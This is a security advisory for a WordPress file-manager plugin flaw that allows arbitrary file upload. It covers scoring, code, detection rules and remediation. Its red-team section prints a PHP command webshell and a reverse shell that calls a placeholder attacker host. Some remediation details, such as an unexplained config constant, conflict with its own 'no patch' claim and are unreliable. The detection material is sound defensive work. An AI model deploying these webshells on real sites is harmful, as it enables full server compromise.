CVE-2025-3234

Executive Summary

CVE-2025-3234 is a critical arbitrary file upload vulnerability in the Filester WordPress plugin (File Manager Pro). The flaw resides in the file upload functionality, which fails to validate file types, allowing authenticated attackers with Administrator-level access to upload arbitrary files (e.g., PHP webshells) to the server. This can lead to remote code execution (RCE) and full site compromise. The severity is amplified because administrators can delegate file manager privileges to lower-level users, including subscribers, making the attack surface broader on multi-role sites. No official patch is available as of this report.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Users who installed the plugin from the WordPress dashboard or via direct ZIP upload are at risk. The lack of a patch means the supply chain is compromised until the vendor releases a fix or users remove the plugin.

CVSS Breakdown & Threat Level

• CVSS Score: 7.2 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: High (PR:H) – Administrator or higher
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: High. While the attack requires high privileges, the ability to delegate file manager access to lower-level users significantly increases the risk. Successful exploitation leads to complete server compromise.

Deep Dive & Mechanics

The vulnerability exists in the file upload handler of the Filester plugin. The plugin does not perform proper file type validation (e.g., checking MIME types or file extensions) before saving uploaded files to the server. An authenticated attacker with file manager access can upload a malicious PHP file (e.g., a webshell) to the WordPress uploads directory or any writable directory. Once uploaded, the attacker can access the file directly via HTTP and execute arbitrary PHP code.

Key Technical Details:

• The upload function likely uses move_uploaded_file() without sanitizing the file extension.
• The plugin may rely on client-side validation only, which can be bypassed.
• The uploaded file is stored in a predictable path, often under /wp-content/uploads/filester/.

Vulnerable vs. Patched Code

Vulnerable Code (Filester <= 1.8.8):

// Simplified vulnerable upload handler
function filester_upload_file() {
    $file = $_FILES['file'];
    $upload_dir = wp_upload_dir();
    $target_path = $upload_dir['basedir'] . '/filester/' . $file['name'];
    move_uploaded_file($file['tmp_name'], $target_path);
    // No file type validation
}

Patched Code (Hypothetical fix):

function filester_upload_file() {
    $file = $_FILES['file'];
    $allowed_extensions = array('jpg', 'jpeg', 'png', 'gif', 'pdf', 'doc', 'docx');
    $file_extension = pathinfo($file['name'], PATHINFO_EXTENSION);
    if (!in_array(strtolower($file_extension), $allowed_extensions)) {
        wp_die('Invalid file type.');
    }
    $upload_dir = wp_upload_dir();
    $target_path = $upload_dir['basedir'] . '/filester/' . basename($file['name']);
    move_uploaded_file($file['tmp_name'], $target_path);
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Filester plugin <= 1.8.8 installed.
• Valid administrator credentials (or lower-level user with file manager privileges).

Steps:

1. Log in to WordPress admin panel.
2. Navigate to the Filester file manager interface.
3. Upload a PHP webshell (e.g., shell.php) with the following content:

   <?php system($_GET['cmd']); ?>
   

4. Access the uploaded file via:

   http://target.com/wp-content/uploads/filester/shell.php?cmd=id
   

Alternative Payload (PHP reverse shell):

<?php
$sock=fsockopen("attacker_ip",4444);
exec("/bin/sh -i <&3 >&3 2>&3");
?>

Blue Team (Detection & Hardening)

Detection:

• Monitor file uploads to /wp-content/uploads/filester/ for unexpected file types (e.g., .php, .phtml, .php5).
• Alert on any file uploads by non-admin users if privilege delegation is enabled.
• Use file integrity monitoring (FIM) to detect new PHP files in upload directories.

Hardening:

• Disable the Filester plugin immediately if not essential.
• Restrict file manager access to only trusted administrators.
• Implement a Web Application Firewall (WAF) rule to block uploads of executable files.
• Add the following to .htaccess in the uploads directory:

  <FilesMatch "\.(php|phtml|php3|php4|php5|phps)$">
      Order Deny,Allow
      Deny from all
  </FilesMatch>
  

Indicators of Compromise (IOCs)

• File Paths:
  • /wp-content/uploads/filester/*.php
  • /wp-content/uploads/filester/*.phtml
• Network Traffic:
  • HTTP POST requests to /wp-admin/admin-ajax.php with action filester_upload_file (or similar).
  • GET requests to /wp-content/uploads/filester/*.php?cmd=...
• Log Entries:
  • WordPress debug log entries showing file upload errors or unexpected file types.
  • Web server access logs with cmd parameter in query string.

Detection Engineering

YARA Rule

rule CVE_2025_3234_Filester_Webshell {
    meta:
        description = "Detects PHP webshells uploaded via Filester plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-3234"
    strings:
        $php_tag = "<?php"
        $system_func = "system("
        $shell_func = "shell_exec("
        $exec_func = "exec("
        $cmd_param = "$_GET"
    condition:
        $php_tag and ($system_func or $shell_func or $exec_func) and $cmd_param
}

Sigma Rule

title: Filester Plugin Arbitrary File Upload
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects upload of PHP files to Filester plugin directory
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=filester_upload_file'
    condition: selection
falsepositives:
    - Legitimate admin uploads of non-executable files
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-3234 Filester Plugin Arbitrary File Upload";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=filester_upload_file"; http_client_body;
    content:".php"; http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the Filester plugin until a patch is available.
2. Review user roles and revoke file manager privileges from non-administrators.
3. Scan the server for any unauthorized PHP files in the uploads directory.

Long-term Mitigation:

• Monitor the vendor's website for a patched version (>= 1.8.9).
• Implement a Web Application Firewall (WAF) with rules to block file uploads of executable types.
• Enforce strict file type validation at the server level (e.g., using .htaccess or Nginx config).
• Regularly audit WordPress plugins and remove unused ones.

Workaround (if plugin must remain active):

• Add the following to the site's wp-config.php to disable file uploads via the plugin:

  define('FILESTER_DISABLE_UPLOADS', true);
  

Valters IT
Securing Digital Frontiers